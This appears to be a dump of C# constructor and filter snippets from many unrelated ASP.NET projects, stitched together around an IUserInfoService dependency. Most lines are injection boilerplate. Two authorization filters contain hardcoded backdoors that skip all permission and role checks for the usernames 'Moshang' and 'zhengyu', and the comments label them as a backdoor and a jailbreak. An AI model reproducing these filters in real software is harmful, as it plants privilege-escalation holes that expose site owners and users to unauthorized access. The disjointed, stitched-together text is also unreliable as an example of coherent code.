public UserModule(IUserInfoService userInfoService) : base() { this._userInfoService = userInfoService; this.Get["user-query", PathApiQuery] = this.GetUserInfo; }
public BaseController(IUserInfoService _userService, ISaluationService _saluationService, IStateDistrictCityService _statecitydistrictService, ICourseCategoryService _corseCategoryservices, ICourseService _courseServices, IEducationalDetailService _educationalDetailService, IFacultyWorkInfoService _facultyWorkInfoService, IGraduationYearService _graduationYearServive, IProfessionalDetailsService _professionaldetailsservice, IGenericMethodsService _genericMethodsservices, IUserDetailsViewService _userDetailsViewService, IUser_JobPostingService _userJobPostingservice, IEventService _eventServices, INewsRoomService _newsroomService,IDonationService _donationService) { UserService = _userService; SaluationService = _saluationService; StatecitydistrictService = _statecitydistrictService; CourseCategoryService = _corseCategoryservices; CourseServises = _courseServices; EducationalDetailService = _educationalDetailService; FacultyWorkInfoService = _facultyWorkInfoService; Graduationyearservice = _graduationYearServive; Professionaldetailsservice = _professionaldetailsservice; GenericMethodsservices = _genericMethodsservices; UserDetailsViewService = _userDetailsViewService; UserJobPostingservice = _userJobPostingservice; EventServices = _eventServices; NewsroomService = _newsroomService; DonationService = _donationService; }
public BaseController(IUserDetailsViewService _userDetailsViewService, IUserInfoService _userInfoService, IEventCategoryService _eventCategoryservice, IUserPostService _userpostService, IUserPostPicturesService _userPostPictureservice, IUserPostVisibleService _userPostVisibleService, IGenericMethodsService _genericMethods, IUserSelectionEventsService _userSelectionServices, IUserselectionBookingsService _userselectionBookingServices, IUserPaymentService _userPaymentservice, IUser_JobPostingService _userJobPostingservice, IEventService _eventService, INewsRoomService _newsRoomService, IMemoriesServices _mermoriesServices, IDonationService _donationService, IProfessionalDetailsService _ProfessionalDetails, ISaluationService _SalutationService, IEducationalDetailService _educationalDetailService, ICourseCategoryService _courseCategoryService, IFacultyWorkInfoService _facultyWorkInfoService) { UserDetailsViewService = _userDetailsViewService; UserInfoService = _userInfoService; EventCategoryService = _eventCategoryservice; UserPostService = _userpostService; UserpostPictureServices = _userPostPictureservice; UserPostVisibleServices = _userPostVisibleService; GenericMethods = _genericMethods; UserSelectionServices = _userSelectionServices; UserselectionBookingServices = _userselectionBookingServices; UserpaymentsService = _userPaymentservice; UserJobPostingservice = _userJobPostingservice; EventService = _eventService; NewsRoomService = _newsRoomService; MermoriesServices = _mermoriesServices; DonationService = _donationService; ProfessionalDetailsservice = _ProfessionalDetails; SalutationService = _SalutationService; EducationalDetailService = _educationalDetailService; CourseCategoryService = _courseCategoryService; FacultyWorkInfoService = _facultyWorkInfoService; }
public HomeController(IUserInfoService service) { userInfoService = service; }
public HomeController(IUserInfoService userInfoService) { this.userInfoService = userInfoService; }
//private readonly IUserInfoService _userInfoService; //private readonly IUserInfoService _userInfoService; //private readonly IUserInfoService _userInfoService; public SignUp(IUserInfoService userInfoService) { _userInfoService = userInfoService; }
public UserController(ILogger <UserController> logger, IJwtService jwtService, IHttpContextAccessor httpContextAccessor, IUserInfoService userInfoService, IHubContext <ChatHub> hubContext) { _logger = logger; _jwtService = jwtService; _userInfoService = userInfoService; _hubContext = hubContext; _httpContextAccessor = httpContextAccessor; }
public UserAccountController(INewsDraftService newsDraftService, IUserInfoService userInfoService) { this._newDraftService = newsDraftService; this._userInfoService = userInfoService; }
public UserActivityMonitoring(IUserInfoService userInfoService) { if (userInfoService == null) throw new ArgumentNullException(nameof(userInfoService)); _userInfoService = userInfoService; }
public ToursController(ITourManagementRepository tourManagementRepository, IUserInfoService userInfoService) { _tourManagementRepository = tourManagementRepository; _userInfoService = userInfoService; }
public Login() { _userInfoService = DependencyResolver.Resolver<IUserInfoService>(); }
protected override void OnActionExecuting(ActionExecutingContext filterContext) { base.OnActionExecuting(filterContext); if (IsCheckUserLogin) { #region 用户登陆校验 //Memchache+Cookie方式 if (Request.Cookies["userLoginId"] == null) { filterContext.HttpContext.Response.Redirect("/UserLogin/Index"); return; } string userGuid = Request.Cookies["userLoginId"].Value; UserInfo userInfo = (UserInfo)Common.Cache.CacheHelper.GetCache (userGuid);//as UserInfo if (userInfo == null) { //长时间为操作 缓存已超时 filterContext.HttpContext.Response.Redirect("/UserLogin/Index"); return; } LoginUser = userInfo; //滑动窗口机制 (响应后刷新缓冲时间) Common.Cache.CacheHelper.SetCache(userGuid, userInfo, DateTime.Now.AddMinutes(20)); #region Session方式 //if (filterContext.HttpContext.Session["LoginUser"] == null && IsCheckedUserLogin) //{ // filterContext.HttpContext.Response.Redirect("/UserLogin/Index"); //} //else //{ // LoginUser= filterContext.HttpContext.Session["LoginUser"] as UserInfo; //} #endregion #endregion #region 用户权限校验 //校验权限 //获取当前请求对应的权限数据 if (LoginUser.UName == "Moshang") { return;//Moshang`s backdoor } string url = Request.Url.AbsolutePath; string[] splitArr = url.Split('/'); string newStrurl = splitArr[0] + "/" + splitArr[1] + "/" + splitArr[2]; string httpMethod = Request.HttpMethod.ToLower(); //通过容器获取 IApplicationContext ctx = ContextRegistry.GetContext(); //ctx.GetObject("CacheHelper"); IActionInfoService actionInfoService = ctx.GetObject("ActionInfoService") as IActionInfoService; IR_UserInfo_ActionInfoService rUserInfoActionInfoService = ctx.GetObject("R_UserInfo_ActionInfoService") as IR_UserInfo_ActionInfoService; IUserInfoService UserInfoService = ctx.GetObject("UserInfoService") as IUserInfoService; //真·奥义·权限校验 var actionInfo = actionInfoService.GetEntities(a => a.Url.ToLower() == newStrurl && a.HttpMethd.ToLower() == httpMethod).FirstOrDefault(); if (actionInfo == null) { Response.Redirect("/Error.html"); } var rUAs = rUserInfoActionInfoService.GetEntities(u => u.UserInfoID == LoginUser.ID); var item = (from a in rUAs where a.ActionInfoID == actionInfo.ID select a).FirstOrDefault(); if (item != null) { if (item.HasPermission == true) { return; } else { Response.Redirect("/Error.html"); } } //真·奥义·角色校验 var user = UserInfoService.GetEntities(u => u.ID == LoginUser.ID).FirstOrDefault(); var allRoles = from r in user.RoleInfo select r; var actions = from r in allRoles from a in r.ActionInfo select a; var temp = (from a in actions where a.ID == actionInfo.ID select a).Count(); if (temp <= 0) { Response.Redirect("/Error.html"); } #endregion } }
public AlumniFacultyEventsController(IUserDetailsViewService userDetailsViewService, IUserInfoService userInfoService, IEventCategoryService eventCategoryservices, IUserPostService userpostService, IUserPostPicturesService userPostPictureservice, IUserPostVisibleService userPostVisibleServices, IGenericMethodsService genericMethods, ICourseCategoryService CategoryServices, IUserSelectionEventsService userSelectionServices, IUserselectionBookingsService userselectionBookingServices, IUserPaymentService userPaymentservice) : base(userDetailsViewService, userInfoService, eventCategoryservices, userpostService, userPostPictureservice, userPostVisibleServices, genericMethods, CategoryServices, userSelectionServices, userselectionBookingServices, userPaymentservice) { }
public FinancialRepository(IUserInfoService <int> userInfoService) : base(userInfoService) { }
public UserInfoController(IUserInfoService _userInfoService) { this.userInfoService = _userInfoService; }
public ProfileViewModel(ISettingsService settingsService, IUserInfoService userInfoService, ITransactionService transactionService) : base() { _settingsService = settingsService; _userInfoService = userInfoService; _transactionService = transactionService; }
public LoginController(IUserInfoService iuserinfoservice, IUserAppIdAuthService userApIdAuthService) { _iuserinfoservice = iuserinfoservice; _userApIdAuthService = userApIdAuthService; }
public DefaultController(IUserInfoService userInfoService, HttpClienService httpClienService) { _UserInfoService = userInfoService; HttpClienService = httpClienService; }
public UserInfoService(IUnitOfWork unitOfWork = null, IUserInfoService userInfoService = null) { _unitOfWork = unitOfWork ?? new UnitOfWork(); }
//private readonly ILog _log = LogManager.GetLogger(Startup.Repository.Name, typeof(AccountController)); public AccountController(IUserInfoService userInfoService, IUnitOfWork unitOfWork, ILogService logger) { _unitOfWork = unitOfWork; _userInfoService = userInfoService; _logger = logger; }
public override void MyTestInitialize() { _userInfoService = DependencyResolver.Resolver<IUserInfoService>(); _departmentService = DependencyResolver.Resolver<IDeptService>(); _categoryService = DependencyResolver.Resolver<ICategoryService>(); _categoryItemService = DependencyResolver.Resolver<ICategoryItemService>(); _operatorUser = _userInfoService.FindByUserName(this._loginName); _staff = _userInfoService.FindStaffById(1); _customerService = DependencyResolver.Resolver<ICustomerService>(); base.MyTestInitialize(); }
protected override void OnActionExecuting(ActionExecutingContext filterContext) { base.OnActionExecuting(filterContext); //Action执行之前判断memcache是否有值(用户是否已经登录) if (Request.Cookies["usersLoginId"] != null) { string usersLoginId = Request.Cookies["usersLoginId"].Value; object obj = memcachedHelper.Get(usersLoginId); if (obj != null) { userInfo = SerializerHelper.DeSerializerToObject <UserInfo>(obj.ToString());//反序列化 //模拟Session的滑动过期时间 memcachedHelper.Update(usersLoginId, obj, DateTime.Now.AddMinutes(20)); isExp = true; //zhengyu可越狱 if (userInfo.UName == "zhengyu") { return; } //获取请求的绝对路径和请求方式 string requestUrl = Request.Url.AbsolutePath.ToLower(); string httpMethod = Request.HttpMethod; //通过容器对象来创建对象,因基类注入不了 IApplicationContext ctx = ContextRegistry.GetContext(); IActionInfoService actionInfoService = ctx.GetObject("ActionInfoService") as IActionInfoService; IUserInfoService UserInfoService = ctx.GetObject("UserInfoService") as IUserInfoService; ActionInfo actionInfo = actionInfoService.GetEntities(a => a.Url == requestUrl && a.HttpMethd == httpMethod && a.DelFlag == (short)DelFlagEnum.Normal).FirstOrDefault(); if (actionInfo == null) { filterContext.Result = new RedirectResult("/Error.html"); //Response.Redirect("/Error.html"); return; } //第1条线.用户---权限 //登录用户 UserInfo loginUser = UserInfoService.GetEntities(u => u.ID == userInfo.ID).FirstOrDefault(); //判断登录用户请求的地址是否有权限 ActionInfo userActionOne = (from r in loginUser.R_UserInfo_ActionInfo where r.ActionInfoID == actionInfo.ID && r.HasPermission == true select r.ActionInfo).FirstOrDefault(); if (userActionOne == null) { //第2条线.用户---角色---权限 //判断登录用户请求的地址是否有权限 ActionInfo userActionTwo = (from r in loginUser.RoleInfo from a in r.ActionInfo where a.ID == actionInfo.ID select a).FirstOrDefault(); if (userActionTwo == null) { //filterContext.Result = new RedirectResult("/ActionError.html"); //Response.Redirect("/ActionError.html"); filterContext.Result = new ContentResult() { Content = "您没有此权限!请联系管理员" }; return; } } } } if (!isExp) { RedirectToAct.RedirectTo(); //filterContext.HttpContext.Response.Redirect("/UserLogin/Index?return="+Request.Url); return; } }
public JobsController(IUserDetailsViewService _userDetailsViewService, IUserInfoService _userInfoService, IEventService _eventServices, IEventTicketTypesServices _eventTicketTypeservices, IGenericMethodsService _genericMetodsservices, IUserPaymentService _userPaymentsService, IUser_JobPostingService _userJobPostingservice, IUserPostService _userPostService, INewsRoomService _newsRoomservice, IMemoriesServices _memoriesservice, IDonationService _donationservice, IAlbumGalleryService _albumGalleryserice) : base(_userDetailsViewService, _userInfoService, _eventServices, _eventTicketTypeservices, _genericMetodsservices, _userPaymentsService, _userJobPostingservice, _userPostService, _newsRoomservice, _memoriesservice, _donationservice, _albumGalleryserice) { }
public LoginController(IUserInfoService bll) { this.bll = bll; }
public ExtrasController(IUserDetailsViewService _userDetailsViewService, IUserInfoService _userInfoService, IEventService _eventServices, IEventTicketTypesServices _eventTicketTypeservices, IGenericMethodsService _genericMetodsservices, IUserPaymentService _userPaymentsService, IUser_JobPostingService _userJobPostingservice, IUserPostService _userPostService, INewsRoomService _newsRoomservice, IMemoriesServices memoriesservices, IDonationService _donationservice, IAlbumGalleryService _albumGalleryserice) : base(_userDetailsViewService, _userInfoService, _eventServices, _eventTicketTypeservices, _genericMetodsservices, _userPaymentsService, _userJobPostingservice, _userPostService, _newsRoomservice, memoriesservices, _donationservice, _albumGalleryserice) { }
public ProfileController(IUserInfoService userInfoService) { _userInfoService = userInfoService; }
public UserController(IUserInfoService userInfoService) { _userInfoService = userInfoService; }
public ProductController(IProductService productService, IUserInfoService userInfoService) { this.productService = productService; this.userInfoService = userInfoService; }
public HomeController(IUserDetailsViewService _userDetailsViewService, IUserInfoService _userService, ISaluationService _saluationService, IStateDistrictCityService _statecitydistrictService, ICourseCategoryService _courseCategoryservice, ICourseService _courseServices, IEducationalDetailService _educationalDetailService, IFacultyWorkInfoService _facultyWorkInfoService, IGraduationYearService _graduationyearservice, IProfessionalDetailsService _Professionaldetailsservice, IGenericMethodsService _genericMethodsservices, IUser_JobPostingService _userJobPostingservice, IEventService _eventServices, INewsRoomService _newsroomService, IDonationService _donationService) : base(_userService, _saluationService, _statecitydistrictService, _courseCategoryservice, _courseServices, _educationalDetailService, _facultyWorkInfoService, _graduationyearservice, _Professionaldetailsservice, _genericMethodsservices, _userDetailsViewService, _userJobPostingservice, _eventServices, _newsroomService, _donationService) { }
public AccountController(IUserInfoService userInfoService, IEmailSender emailSender) { this._userInfoService = userInfoService; this._emailSender = emailSender; }
/// <summary> /// 系统设置 /// </summary> /// <param name="userInfoService"></param> /// <param name="systemSettingService"></param> public SystemController(IUserInfoService userInfoService, ISystemSettingService systemSettingService) { UserInfoService = userInfoService; SystemSettingService = systemSettingService; }
public ProfileController(IUserDetailsViewService userDetailsViewService, IUserInfoService userInfoService, IEventCategoryService eventCategoryservices, IUserPostService userpostService, IUserPostPicturesService userPostPictureservice, IUserPostVisibleService userPostVisibleServices, IGenericMethodsService genericMethods, ICourseCategoryService coursecategoryservices, IUserSelectionEventsService userSelectionServices, IUserselectionBookingsService userselectionBookingServices, IUserPaymentService userPaymentservice, IUser_JobPostingService _userJobPostingservice, IEventService _eventService, INewsRoomService _newsRoomService, IMemoriesServices _mermoriesServices) : base(userDetailsViewService, userInfoService, eventCategoryservices, userpostService, userPostPictureservice, userPostVisibleServices, genericMethods, coursecategoryservices, userSelectionServices, userselectionBookingServices, userPaymentservice, _userJobPostingservice, _eventService, _newsRoomService, _mermoriesServices) { }
public UserInfoController(IUserInfoService userInfoService, UserManager <ApplicationUser> userManager, ICitiesService citiesService) { this.userInfoService = userInfoService; this.userManager = userManager; this.citiesService = citiesService; }
public gmpContextFactory(IUserInfoService <int> userInfoService) { _userInfoService = userInfoService; }
public UserInfoController(IUserInfoService userInfoService) { this._userInfoService = userInfoService; }
public LoginController(IUserInfoService userInfoService, IUserService userService) { _userInfoService = userInfoService; _userService = userService; }
public ProjectController(IPostAProjectService postservice, IProjectSectionService sectionservice, IProjectSkillService proskillservice, IskillService skillservice, IUserInfoService userservice, IResponseToAJobService responseservice, ISelectedWorkerService selectedWorkerService, IComentSectionService comentSectionService, ISavedFileService savedFileService, ISelectedWorkerService selectedService, IProjectSkillService projectSkillService, IRatingWorkerService ratingWorkerService) { _postservice = postservice; _sectionservice = sectionservice; _proskillservice = proskillservice; _skillservice = skillservice; _userservice = userservice; _responseservice = responseservice; _selectedWorkerService = selectedWorkerService; _comentSectionService = comentSectionService; _savedFileService = savedFileService; _selectedService = selectedService; _projectSkillService = projectSkillService; _ratingWorkerService = ratingWorkerService; }
public UserInfoViewModel(IUserInfoService userInfoService) { _userInfoService = userInfoService; PopulateCommand = new RelayCommand<string>(async (r) => await PopulateAsync(r)); var registers = Enum.GetNames(typeof(RegisterType)); Registers = new List<string>(registers); Register = Registers.First(); CheckCommand = new RelayCommand(async () => await CheckCommandHandler()); ClearCommand = new RelayCommand(ClearCommandHandler); PopulateTestLoginCommand = new RelayCommand(PopulateTestLoginCommandHandler); PopulateTestDataCommand = new RelayCommand(PopulateTestDataCommandHandler); SaveCommand = new RelayCommand(async () => await SaveCommandHandler()); }
public DictionaryController(IWordService wordService, IUserInfoService userInfoService) { _wordService = wordService; _userInfoService = userInfoService; }
// To define business domain, access more service layers public LoginController(IUserInfoService loginService) { _loginService = loginService; }
public FacultyEventsController(IUserDetailsViewService userDetailsViewService, IUserInfoService userInfoService, IEventCategoryService eventCategoryservices, IUserPostService userpostService, IUserPostPicturesService userPostPictureservice, IUserPostVisibleService userPostVisibleServices, IGenericMethodsService genericMethods, ICourseCategoryService coursecategoryservices, IUserSelectionEventsService userSelectionServices, IUserselectionBookingsService userselectionBookingServices, IUserPaymentService userPaymentservice, IUser_JobPostingService _userJobPostingservice, IEventService _eventService, INewsRoomService _newsRoomService, IMemoriesServices _mermoriesServices) : base(userDetailsViewService, userInfoService, eventCategoryservices, userpostService, userPostPictureservice, userPostVisibleServices, genericMethods, coursecategoryservices, userSelectionServices, userselectionBookingServices, userPaymentservice, _userJobPostingservice, _eventService, _newsRoomService, _mermoriesServices) { }
public UserValidator(IUserInfoService userInfoService) { _userInfoService = userInfoService; }
public ProfileService(IUserInfoService userInfoService) { _userInfoService = userInfoService; }
public UserController(IUnitOfWork unitOfWork, IUserInfoService userInfoService) { this._userInfoService = userInfoService; this._unitOfWork = unitOfWork; }
public AssignPublisherIdForGameModelAttribute(IUserInfoService userInfoService) : base(userInfoService) { Models = new[] { typeof(GameForCreationModel) }; }
public DonationsController(IUserDetailsViewService userDetailsViewService, IUserInfoService userInfoService, IEventCategoryService eventCategoryservices, IUserPostService userpostService, IUserPostPicturesService userPostPictureservice, IUserPostVisibleService userPostVisibleServices, IGenericMethodsService genericMethods, IUserSelectionEventsService userSelectionServices, IUserselectionBookingsService userselectionBookingServices, IUserPaymentService userPaymentservice, IUser_JobPostingService _userJobPostingservice, IEventService _eventService, INewsRoomService _newsRoomService, IMemoriesServices _mermoriesServices, IDonationService _donationService, IProfessionalDetailsService _ProfessionalDetails, ISaluationService _SaluationServices, IEducationalDetailService _educationalDetailService, ICourseCategoryService _courseCategoryService, IFacultyWorkInfoService _facultyWorkInfoService) : base(userDetailsViewService, userInfoService, eventCategoryservices, userpostService, userPostPictureservice, userPostVisibleServices, genericMethods, userSelectionServices, userselectionBookingServices, userPaymentservice, _userJobPostingservice, _eventService, _newsRoomService, _mermoriesServices, _donationService, _ProfessionalDetails, _SaluationServices, _educationalDetailService, _courseCategoryService, _facultyWorkInfoService) { }
public Bootstrapper(ILogService logService, IRegDomainService regDomainService, IUserInfoService userInfoService) { _logService = logService; _regDomainService = regDomainService; _userInfoService = userInfoService; }